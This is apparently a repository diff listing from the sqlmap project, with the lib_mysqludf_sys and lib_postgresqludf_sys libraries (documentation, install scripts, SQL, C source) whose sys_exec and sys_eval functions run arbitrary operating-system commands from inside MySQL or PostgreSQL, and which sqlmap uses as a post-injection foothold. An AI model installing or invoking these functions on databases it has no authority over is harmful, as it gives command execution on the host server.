UDFs are available to all database users - you cannot grant EXECUTE privileges for them.
As the commandstring passed to <code>sys_exec</code> can do pretty much everything,
exposing the function poses a very real security hazard.
</p>
<p>
Even for a benign user, it is possible to accidentally do a lot of damage with it.
The call will be executed with the privileges of the os user that runs MySQL,
so it is entirely feasible to delete MySQL's data directory, or worse.
</p>
<p>
The function is intended for specialized MySQL applications where one needs extended
control over the operating system.
Currently, we do not have UDF's for ftp, email and http,
and this function can be used to implement such functionality in case it is really necessary
(datawarehouse staging areas could be a case in example).
</p>
<p>
You have been warned! If you don't see the hazard, please don't try to find it; just trust me on this.
</p>
<p>
If you do decide to use this library in a production environment, make sure that only specific commands can be run and file access is limited by using <a href="http://www.novell.com/documentation/apparmor/index.html">AppArmor</a>.
</p>
<a name="sys_exec"></a><h2>sys_exec</h2>
<p>
<code>sys_exec</code> takes one command string argument and executes it.
</p>
<h3>Syntax</h3>
<pre>sys_exec(<b>arg1</b>)</pre>
<h3>Parameters and Return Values</h3>
<dl>
<dt><code><b>arg1</b></code></dt>
<dd>
A command string valid for the current operating system or execution environment.
</dd>
<dt>returns</dt>
<dd>
An (integer) exit code returned by the executed process.
</dd>
</dl>
<h3>Installation</h3>
<p>
Place the shared library binary in an appropriate location.
Log in to mysql as root or as another user with sufficient privileges, and select any database.
Then, create the function using the following DDL statement:
</p>
<pre>
CREATE FUNCTION sys_exec RETURNS INT SONAME 'lib_mysqludf_sys.so';
</pre>
<p>
The function will be globally available in all databases.
</p>
<p>
The deinstall the function, run the following statement:
</p>
<pre>
DROP FUNCTION sys_exec;
</pre>
<h3>Examples</h3>
<p>
None yet
</p>
<h3>A Note of Caution</h3>
<p>
Be very careful in deciding whether you need this function.
UDFs are available to all database users - you cannot grant EXECUTE privileges for them.
As the commandstring passed to <code>sys_exec</code> can do pretty much everything,
exposing the function poses a very real security hazard.
</p>
<p>
Even for a benign user, it is possible to accidentally do a lot of damage with it.
The call will be executed with the privileges of the os user that runs MySQL,
so it is entirely feasible to delete MySQL's data directory, or worse.
</p>
<p>
The function is intended for specialized MySQL applications where one needs extended
control over the operating system.
Currently, we do not have UDF's for ftp, email and http,
and this function can be used to implement such functionality in case it is really necessary
(datawarehouse staging areas could be a case in example).
</p>
<p>
You have been warned! If you don't see the hazard, please don't try to find it; just trust me on this.
</p>
<p>
If you do decide to use this library in a production environment, make sure that only specific commands can be run and file access is limited by using <a href="http://www.novell.com/documentation/apparmor/index.html">AppArmor</a>.
</p>
<a name="sys_get"></a><h2>sys_get</h2>
<p>
<code>sys_get</code> takes the name of an environment variable and returns the value of the variable.
</p>
<h3>Syntax</h3>
<pre>sys_get([<b>arg1</b>)</pre>
<h3>Parameters and Return Values</h3>
<dl>
<dt><code><b>arg1</b></code></dt>
<dd>
A string that denotes the name of an environment value.
</dd>
<dt>returns</dt>
<dd>
If the variable exists, a string containing the value of the environment variable.
If the variable does not exist, the function return NULL.
</dd>
</dl>
<h3>Installation</h3>
<p>
Place the shared library binary in an appropriate location.
Log in to mysql as root or as another user with sufficient privileges, and select any database.
Then, create the function using the following DDL statement:
</p>
<pre>
CREATE FUNCTION sys_get RETURNS STRING SONAME 'lib_mysqludf_sys.so';
</pre>
<p>
The function will be globally available in all databases.
</p>
<p>
The deinstall the function, run the following statement:
</p>
<pre>
DROP FUNCTION sys_get;
</pre>
<h3>Examples</h3>
<p>
None yet
</p>
<h3>A Note of Caution</h3>
<p>
Be very careful in deciding whether you need this function.
UDFs are available to all database users - you cannot grant EXECUTE privileges for them.
The variables known in the environment where mysql runs are freely accessible using this function.
Any user can get access to potentially secret information, such as
the user that is running mysqld, the path of the user's home directory etc.
</p>
<p>
The function is intended for specialized MySQL applications where one needs extended
control over the operating system.
</p>
<p>
You have been warned! If you don't see the hazard, please don't try to find it; just trust me on this.
</p>
<a name="sys_set"></a><h2>sys_set</h2>
<p>
<code>sys_get</code> takes the name of an environment variable and returns the value of the variable.
</p>
<h3>Syntax</h3>
<pre>sys_set([<b>arg1, arg2</b>)</pre>
<h3>Parameters and Return Values</h3>
<dl>
<dt><code><b>arg1</b></code></dt>
<dd>
A string that denotes the name of an environment value.
</dd>
<dt><code><b>arg2</b></code></dt>
<dd>
An expression that contains the value that is to be assigned to the environment variable.
</dd>
<dt>returns</dt>
<dd>
0 if the assignment or creation succeed.
non-zero otherwise.
</dd>
</dl>
<h3>Installation</h3>
<p>
Place the shared library binary in an appropriate location.
Log in to mysql as root or as another user with sufficient privileges, and select any database.
Then, create the function using the following DDL statement:
</p>
<pre>
CREATE FUNCTION sys_set RETURNS STRING SONAME 'lib_mysqludf_sys.so';
</pre>
<p>
The function will be globally available in all databases.
</p>
<p>
The deinstall the function, run the following statement:
</p>
<pre>
DROP FUNCTION sys_set;
</pre>
<h3>Examples</h3>
<p>
None yet
</p>
<h3>A Note of Caution</h3>
<p>
Be very careful in deciding whether you need this function.
UDFs are available to all database users - you cannot grant EXECUTE privileges for them.
This function will overwrite existing environment variables.
</p>
<p>
The function is intended for specialized MySQL applications where one needs extended
control over the operating system.
</p>
<p>
You have been warned! If you don't see the hazard, please don't try to find it; just trust me on this.
</p>
</body>
</html
@@ -1,33 +0,0 @@
/*
lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
Copyright (C) 2007 Roland Bouman
Copyright (C) 2008-2009 Roland Bouman and Bernardo Damele A. G.
web: http://www.mysqludf.org/
email: [email protected], [email protected]
This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
This library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with this library; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*/
DROP FUNCTION IF EXISTS lib_mysqludf_sys_info;
DROP FUNCTION IF EXISTS sys_get;
DROP FUNCTION IF EXISTS sys_set;
DROP FUNCTION IF EXISTS sys_exec;
DROP FUNCTION IF EXISTS sys_eval;
CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME 'lib_mysqludf_sys.so';
CREATE FUNCTION sys_get RETURNS string SONAME 'lib_mysqludf_sys.so';
CREATE FUNCTION sys_set RETURNS int SONAME 'lib_mysqludf_sys.so';
CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.so';
CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.so';
@@ -1,354 +0,0 @@
diff -uN lib_mysqludf_sys_0.0.2/install.sh lib_mysqludf_sys/install.sh
--- lib_mysqludf_sys_0.0.2/install.sh 1970-01-01 01:00:00.000000000 +0100
+++ lib_mysqludf_sys/install.sh 2009-01-21 00:51:52.000000000 +0000
@@ -0,0 +1,43 @@
+#!/bin/bash
+# lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
+# Copyright (C) 2007 Roland Bouman
+# Copyright (C) 2008-2009 Roland Bouman and Bernardo Damele A. G.
+# web: http://www.mysqludf.org/
+# email: [email protected], [email protected]
+#
+# This library is free software; you can redistribute it and/or
+# modify it under the terms of the GNU Lesser General Public
+# License as published by the Free Software Foundation; either
+# version 2.1 of the License, or (at your option) any later version.
+#
+# This library is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+# Lesser General Public License for more details.
+#
+# You should have received a copy of the GNU Lesser General Public
+# License along with this library; if not, write to the Free Software
+# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+
+echo "Compiling the MySQL UDF"
+make
+
+if test $? -ne 0; then
+ echo "ERROR: You need libmysqlclient development software installed "
+ echo "to be able to compile this UDF, on Debian/Ubuntu just run:"
+ echo "apt-get install libmysqlclient15-dev"
+ exit 1
+else
+ echo "MySQL UDF compiled successfully"
+fi
+
+echo -e "\nPlease provide your MySQL root password"
+
+mysql -u root -p mysql < lib_mysqludf_sys.sql
+
+if test $? -ne 0; then
+ echo "ERROR: unable to install the UDF"
+ exit 1
+else
+ echo "MySQL UDF installed successfully"
+fi
Binary files lib_mysqludf_sys_0.0.2/lib_mysqludf_sys_0.0.2.tar.gz and lib_mysqludf_sys/lib_mysqludf_sys_0.0.2.tar.gz differ
diff -uN lib_mysqludf_sys_0.0.2/lib_mysqludf_sys.c lib_mysqludf_sys/lib_mysqludf_sys.c
--- lib_mysqludf_sys_0.0.2/lib_mysqludf_sys.c 2009-01-22 12:01:55.000000000 +0000
+++ lib_mysqludf_sys/lib_mysqludf_sys.c 2009-01-21 00:06:13.000000000 +0000
@@ -1,8 +1,9 @@
/*
lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
Copyright (C) 2007 Roland Bouman
- web: http://www.xcdsql.org/MySQL/UDF/
- email: [email protected]
+ Copyright (C) 2008-2009 Roland Bouman and Bernardo Damele A. G.
+ web: http://www.mysqludf.org/
+ email: [email protected], [email protected]
This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
@@ -51,7 +52,7 @@
extern "C" {
#endif
-#define LIBVERSION "lib_mysqludf_sys version 0.0.2"
+#define LIBVERSION "lib_mysqludf_sys version 0.0.3"
#ifdef __WIN__
#define SETENV(name,value) SetEnvironmentVariable(name,value);
@@ -139,7 +140,7 @@
/**
* sys_exec
*
- * executes the argument commandstring.
+ * executes the argument commandstring and returns its exit status.
* Beware that this can be a security hazard.
*/
DLLEXP
@@ -162,6 +163,34 @@
, char *error
);
+/**
+ * sys_eval
+ *
+ * executes the argument commandstring and returns its standard output.
+ * Beware that this can be a security hazard.
+ */
+DLLEXP
+my_bool sys_eval_init(
+ UDF_INIT *initid
+, UDF_ARGS *args
+, char *message
+);
+
+DLLEXP
+void sys_eval_deinit(
+ UDF_INIT *initid
+);
+
+DLLEXP
+char* sys_eval(
+ UDF_INIT *initid
+, UDF_ARGS *args
+, char* result
+, unsigned long* length
+, char *is_null
+, char *error
+);
+
#ifdef __cplusplus
}
@@ -336,5 +365,62 @@
return system(args->args[0]);
}
+my_bool sys_eval_init(
+ UDF_INIT *initid
+, UDF_ARGS *args
+, char *message
+){
+ unsigned int i=0;
+ if(args->arg_count == 1
+ && args->arg_type[i]==STRING_RESULT){
+ return 0;
+ } else {
+ strcpy(
+ message
+ , "Expected exactly one string type parameter"
+ );
+ return 1;
+ }
+}
+void sys_eval_deinit(
+ UDF_INIT *initid
+){
+}
+char* sys_eval(
+ UDF_INIT *initid
+, UDF_ARGS *args
+, char* result
+, unsigned long* length
+, char *is_null
+, char *error
+){
+ FILE *pipe;
+ char line[1024];
+ unsigned long outlen, linelen;
+
+ result = malloc(1);
+ outlen = 0;
+
+ pipe = popen(args->args[0], "r");
+
+ while (fgets(line, sizeof(line), pipe) != NULL) {
+ linelen = strlen(line);
+ result = realloc(result, outlen + linelen);
+ strncpy(result + outlen, line, linelen);
+ outlen = outlen + linelen;
+ }
+
+ pclose(pipe);
+
+ if (!(*result) || result == NULL) {
+ *is_null = 1;
+ } else {
+ result[outlen] = 0x00;
+ *length = strlen(result);
+ }
+
+ return result;
+}
+
#endif /* HAVE_DLOPEN */
diff -uN lib_mysqludf_sys_0.0.2/lib_mysqludf_sys.html lib_mysqludf_sys/lib_mysqludf_sys.html
--- lib_mysqludf_sys_0.0.2/lib_mysqludf_sys.html 2009-01-22 12:01:55.000000000 +0000
+++ lib_mysqludf_sys/lib_mysqludf_sys.html 2009-01-22 10:21:46.000000000 +0000
@@ -23,7 +23,8 @@
This library <code>lib_mysqludf_sys</code> contains a number of functions that allows one to interact with the operating system.
</p>
<ol>
- <li><a href="#sys_exec"><code>sys_exec</code></a> - executes an arbitrary command, and can thus be used to launch an external application.</li>
+ <li><a href="#sys_eval"><code>sys_eval</code></a> - executes an arbitrary command, and returns it's output.</li>
+ <li><a href="#sys_exec"><code>sys_exec</code></a> - executes an arbitrary command, and returns it's exit code.</li>
<li><a href="#sys_get"><code>sys_get</code></a> - gets the value of an environment variable.</li>
<li><a href="#sys_set"><code>sys_set</code></a> - create an environment variable, or update the value of an existing environment variable.</li>
</ol>
@@ -31,6 +32,72 @@
Use <a href="#lib_mysqludf_sys_info"><code>lib_mysqludf_sys_info()</code></a> to obtain information about the currently installed version of <code>lib_mysqludf_sys</code>.
</p>
+
+ <a name="sys_eval"></a><h2>sys_eval</h2>
+ <p>
+ <code>sys_eval</code> takes one command string argument and executes it, returning its output.
+ </p>
+ <h3>Syntax</h3>
+<pre>sys_eval(<b>arg1</b>)</pre>
+ <h3>Parameters and Return Values</h3>
+ <dl>
+ <dt><code><b>arg1</b></code></dt>
+ <dd>
+ A command string valid for the current operating system or execution environment.
+ </dd>
+ <dt>returns</dt>
+ <dd>
+ Whatever output the command pushed to the standard output stream.
+ </dd>
+ </dl>
+ <h3>Installation</h3>
+ <p>
+ Place the shared library binary in an appropriate location.
+ Log in to mysql as root or as another user with sufficient privileges, and select any database.
+ Then, create the function using the following DDL statement:
+ </p>
+ <pre>
+CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.so';
+ </pre>
+ <p>
+ The function will be globally available in all databases.
+ </p>
+ <p>
+ The deinstall the function, run the following statement:
+ </p>
+ <pre>
+DROP FUNCTION sys_eval;
+ </pre>
+ <h3>Examples</h3>
+ <p>
+ None yet
+ </p>
+ <h3>A Note of Caution</h3>
+ <p>
+ Be very careful in deciding whether you need this function.
+ UDFs are available to all database users - you cannot grant EXECUTE privileges for them.
+ As the commandstring passed to <code>sys_exec</code> can do pretty much everything,
+ exposing the function poses a very real security hazard.
+ </p>
+ <p>
+ Even for a benign user, it is possible to accidentally do a lot of damage with it.
+ The call will be executed with the privileges of the os user that runs MySQL,
+ so it is entirely feasible to delete MySQL's data directory, or worse.
+ </p>
+ <p>
+ The function is intended for specialized MySQL applications where one needs extended
+ control over the operating system.
+ Currently, we do not have UDF's for ftp, email and http,
+ and this function can be used to implement such functionality in case it is really necessary
+ (datawarehouse staging areas could be a case in example).
+ </p>
+ <p>
+ You have been warned! If you don't see the hazard, please don't try to find it; just trust me on this.
+ </p>
+ <p>
+ If you do decide to use this library in a production environment, make sure that only specific commands can be run and file access is limited by using <a href="http://www.novell.com/documentation/apparmor/index.html">AppArmor</a>.
+ </p>
+
<a name="sys_exec"></a><h2>sys_exec</h2>
<p>
<code>sys_exec</code> takes one command string argument and executes it.
@@ -92,6 +159,9 @@
<p>
You have been warned! If you don't see the hazard, please don't try to find it; just trust me on this.
</p>
+ <p>
+ If you do decide to use this library in a production environment, make sure that only specific commands can be run and file access is limited by using <a href="http://www.novell.com/documentation/apparmor/index.html">AppArmor</a>.
+ </p>
<a name="sys_get"></a><h2>sys_get</h2>
<p>
<code>sys_get</code> takes the name of an environment variable and returns the value of the variable.
Binary files lib_mysqludf_sys_0.0.2/lib_mysqludf_sys.so and lib_mysqludf_sys/lib_mysqludf_sys.so differ
diff -uN lib_mysqludf_sys_0.0.2/lib_mysqludf_sys.sql lib_mysqludf_sys/lib_mysqludf_sys.sql
--- lib_mysqludf_sys_0.0.2/lib_mysqludf_sys.sql 2009-01-22 12:01:55.000000000 +0000
+++ lib_mysqludf_sys/lib_mysqludf_sys.sql 2009-01-22 10:21:53.000000000 +0000
@@ -1,30 +1,33 @@
-/*
- lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
- Copyright (C) 2007 Roland Bouman
- web: http://www.xcdsql.org/MySQL/UDF/
- email: [email protected]
-
- This library is free software; you can redistribute it and/or
- modify it under the terms of the GNU Lesser General Public
- License as published by the Free Software Foundation; either
- version 2.1 of the License, or (at your option) any later version.
-
- This library is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
- Lesser General Public License for more details.
-
- You should have received a copy of the GNU Lesser General Public
- License along with this library; if not, write to the Free Software
- Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+/*
+ lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
+ Copyright (C) 2007 Roland Bouman
+ Copyright (C) 2008-2009 Roland Bouman and Bernardo Damele A. G.
+ web: http://www.mysqludf.org/
+ email: [email protected], [email protected]
+
+ This library is free software; you can redistribute it and/or
+ modify it under the terms of the GNU Lesser General Public
+ License as published by the Free Software Foundation; either
+ version 2.1 of the License, or (at your option) any later version.
+
+ This library is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ Lesser General Public License for more details.
+
+ You should have received a copy of the GNU Lesser General Public
+ License along with this library; if not, write to the Free Software
+ Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*/
-drop function lib_mysqludf_sys_info;
-drop function sys_get;
-drop function sys_set;
-drop function sys_exec;
+DROP FUNCTION IF EXISTS lib_mysqludf_sys_info;
+DROP FUNCTION IF EXISTS sys_get;
+DROP FUNCTION IF EXISTS sys_set;
+DROP FUNCTION IF EXISTS sys_exec;
+DROP FUNCTION IF EXISTS sys_eval;
-create function lib_mysqludf_sys_info returns string soname 'lib_mysqludf_sys.so';
-create function sys_get returns string soname 'lib_mysqludf_sys.so';
-create function sys_set returns int soname 'lib_mysqludf_sys.so';
-create function sys_exec returns int soname 'lib_mysqludf_sys.so';
+CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME 'lib_mysqludf_sys.so';
+CREATE FUNCTION sys_get RETURNS string SONAME 'lib_mysqludf_sys.so';
+CREATE FUNCTION sys_set RETURNS int SONAME 'lib_mysqludf_sys.so';
+CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.so';
+CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.so';
diff -uN lib_mysqludf_sys_0.0.2/Makefile lib_mysqludf_sys/Makefile
--- lib_mysqludf_sys_0.0.2/Makefile 2009-01-22 12:01:55.000000000 +0000
+++ lib_mysqludf_sys/Makefile 2009-01-19 09:11:00.000000000 +0000
@@ -1,6 +1,4 @@
-linux: \
- lib_mysqludf_sys.so
+LIBDIR=/usr/lib
-lib_mysqludf_sys.so: \
-
- gcc -Wall -I/opt/mysql/mysql/include -I. -shared lib_mysqludf_sys.c -o lib_mysqludf_sys.so
+install:
+ gcc -Wall -I/usr/include/mysql -I. -shared lib_mysqludf_sys.c -o $(LIBDIR)/lib_mysqludf_sys.so
Common subdirectories: lib_mysqludf_sys_0.0.2/.svn and lib_mysqludf_sys/.svn
Binary file not shown.
@@ -1,4 +0,0 @@
LIBDIR=/usr/lib
install:
gcc -Wall -I/usr/include/postgresql/8.3/server -I. -shared lib_postgresqludf_sys.c -o $(LIBDIR)/lib_postgresqludf_sys.so
@@ -1,43 +0,0 @@
#!/bin/bash
# lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions
# Copyright (C) 2009 Bernardo Damele A. G.
# web: http://bernardodamele.blogspot.com/
# email: [email protected]
#
# This library is free software; you can redistribute it and/or
# modify it under the terms of the GNU Lesser General Public
# License as published by the Free Software Foundation; either
# version 2.1 of the License, or (at your option) any later version.
#
# This library is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public
# License along with this library; if not, write to the Free Software
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
echo "Compiling the PostgreSQL UDF"
make
if test $? -ne 0; then
echo "ERROR: You need postgresql-server development software installed "
echo "to be able to compile this UDF, on Debian/Ubuntu just run:"
echo "apt-get install postgresql-server-dev-8.3"
exit 1
else
echo "PostgreSQL UDF compiled successfully"
fi
echo -e "\nPlease provide your PostgreSQL 'postgres' user's password"
/usr/lib/postgresql/8.3/bin/psql -h 127.0.0.1 -p 5432 -U postgres -q template1 < lib_postgresqludf_sys.sql
#psql -h 127.0.0.1 -p 5432 -U postgres -q template1 < lib_postgresqludf_sys.sql
if test $? -ne 0; then
echo "ERROR: unable to install the UDF"
exit 1
else
echo "PostgreSQL UDF installed successfully"
fi
@@ -1,100 +0,0 @@
/*
lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions
Copyright (C) 2009 Bernardo Damele A. G.
web: http://bernardodamele.blogspot.com/
email: [email protected]
This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
This library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with this library; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*/
#include <stdlib.h>
#include <postgres.h>
#include <fmgr.h>
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
PG_FUNCTION_INFO_V1(sys_exec);
Datum sys_exec(PG_FUNCTION_ARGS) {
text *argv0 = PG_GETARG_TEXT_P(0);
int32 argv0_size;
int32 result = 0;
char *command;
argv0_size = VARSIZE(argv0) - VARHDRSZ;
command = (char *)palloc(argv0_size + 1);
memcpy(command, VARDATA(argv0), argv0_size);
command[argv0_size] = '\0';
/*
Only if you want to log
elog(NOTICE, "Command execution: %s", command);
*/
result = system(command);
pfree(command);
PG_FREE_IF_COPY(argv0, 0);
PG_RETURN_INT32(result);
}
PG_FUNCTION_INFO_V1(sys_eval);
Datum sys_eval(PG_FUNCTION_ARGS) {
text *argv0 = PG_GETARG_TEXT_P(0);
text *result_text;
int32 argv0_size;
char *command;
char *result;
FILE *pipe;
char line[1024];
int32 outlen, linelen;
argv0_size = VARSIZE(argv0) - VARHDRSZ;
command = (char *)palloc(argv0_size + 1);
memcpy(command, VARDATA(argv0), argv0_size);
command[argv0_size] = '\0';
/*
Only if you want to log
elog(NOTICE, "Command evaluated: %s", command);
*/
result = malloc(1);
outlen = 0;
pipe = popen(command, "r");
while (fgets(line, sizeof(line), pipe) != NULL) {
linelen = strlen(line);
result = realloc(result, outlen + linelen);
strncpy(result + outlen, line, linelen);
outlen = outlen + linelen;
}
pclose(pipe);
if (*result) {
result[outlen] = 0x00;
}
result_text = (text *)palloc(VARHDRSZ + strlen(result));
SET_VARSIZE(result_text, VARHDRSZ + strlen(result));
memcpy(VARDATA(result_text), result, strlen(result));
PG_RETURN_POINTER(result_text);
}
@@ -1,23 +0,0 @@
/*
lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions
Copyright (C) 2009 Bernardo Damele A. G.
web: http://bernardodamele.blogspot.com/
email: [email protected]
This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
This library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with this library; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*/
CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS '/usr/lib/lib_postgresqludf_sys.so', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/usr/lib/lib_postgresqludf_sys.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
BIN
View File
Binary file not shown.

After

Width:  |  Height:  |  Size: 2.3 KiB

BIN
View File
Binary file not shown.

After

Width:  |  Height:  |  Size: 755 B

+46
View File
File diff suppressed because one or more lines are too long
-25
View File
@@ -1,25 +0,0 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <[email protected]>
and Daniele Bellucci <[email protected]>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
pass
-25
View File
@@ -1,25 +0,0 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <[email protected]>
and Daniele Bellucci <[email protected]>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
pass
-103
View File
@@ -1,103 +0,0 @@
#!/usr/bin/env python
"""
$Id$
02/2006 Will Holcomb <[email protected]>
Reference: http://odin.himinbi.org/MultipartPostHandler.py
This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
This library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with this library; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import mimetools
import mimetypes
import os
import stat
import sys
import urllib
import urllib2
from lib.core.exception import sqlmapDataException
class Callable:
def __init__(self, anycallable):
self.__call__ = anycallable
# Controls how sequences are uncoded. If true, elements may be given
# multiple values by assigning a sequence.
doseq = 1
class MultipartPostHandler(urllib2.BaseHandler):
handler_order = urllib2.HTTPHandler.handler_order - 10 # needs to run first
def http_request(self, request):
data = request.get_data()
if data is not None and type(data) != str:
v_files = []
v_vars = []
try:
for(key, value) in data.items():
if type(value) == file:
v_files.append((key, value))
else:
v_vars.append((key, value))
except TypeError:
systype, value, traceback = sys.exc_info()
raise sqlmapDataException, "not a valid non-string sequence or mapping object", traceback
if len(v_files) == 0:
data = urllib.urlencode(v_vars, doseq)
else:
boundary, data = self.multipart_encode(v_vars, v_files)
contenttype = 'multipart/form-data; boundary=%s' % boundary
#if (request.has_header('Content-Type') and request.get_header('Content-Type').find('multipart/form-data') != 0):
# print "Replacing %s with %s" % (request.get_header('content-type'), 'multipart/form-data')
request.add_unredirected_header('Content-Type', contenttype)
request.add_data(data)
return request
def multipart_encode(vars, files, boundary = None, buffer = None):
if boundary is None:
boundary = mimetools.choose_boundary()
if buffer is None:
buffer = ''
for(key, value) in vars:
buffer += '--%s\r\n' % boundary
buffer += 'Content-Disposition: form-data; name="%s"' % key
buffer += '\r\n\r\n' + value + '\r\n'
for(key, fd) in files:
file_size = os.fstat(fd.fileno())[stat.ST_SIZE]
filename = fd.name.split('/')[-1]
contenttype = mimetypes.guess_type(filename)[0] or 'application/octet-stream'
buffer += '--%s\r\n' % boundary
buffer += 'Content-Disposition: form-data; name="%s"; filename="%s"\r\n' % (key, filename)
buffer += 'Content-Type: %s\r\n' % contenttype
# buffer += 'Content-Length: %s\r\n' % file_size
fd.seek(0)
buffer += '\r\n' + fd.read() + '\r\n'
buffer += '--%s--\r\n\r\n' % boundary
return boundary, buffer
multipart_encode = Callable(multipart_encode)
https_request = http_request
-25
View File
@@ -1,25 +0,0 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <[email protected]>
and Daniele Bellucci <[email protected]>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
pass
-137
View File
@@ -1,137 +0,0 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <[email protected]>
and Daniele Bellucci <[email protected]>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
from lib.controller.handler import setHandler
from lib.core.common import getHtmlErrorFp
from lib.core.data import conf
from lib.core.data import kb
from lib.core.dump import dumper
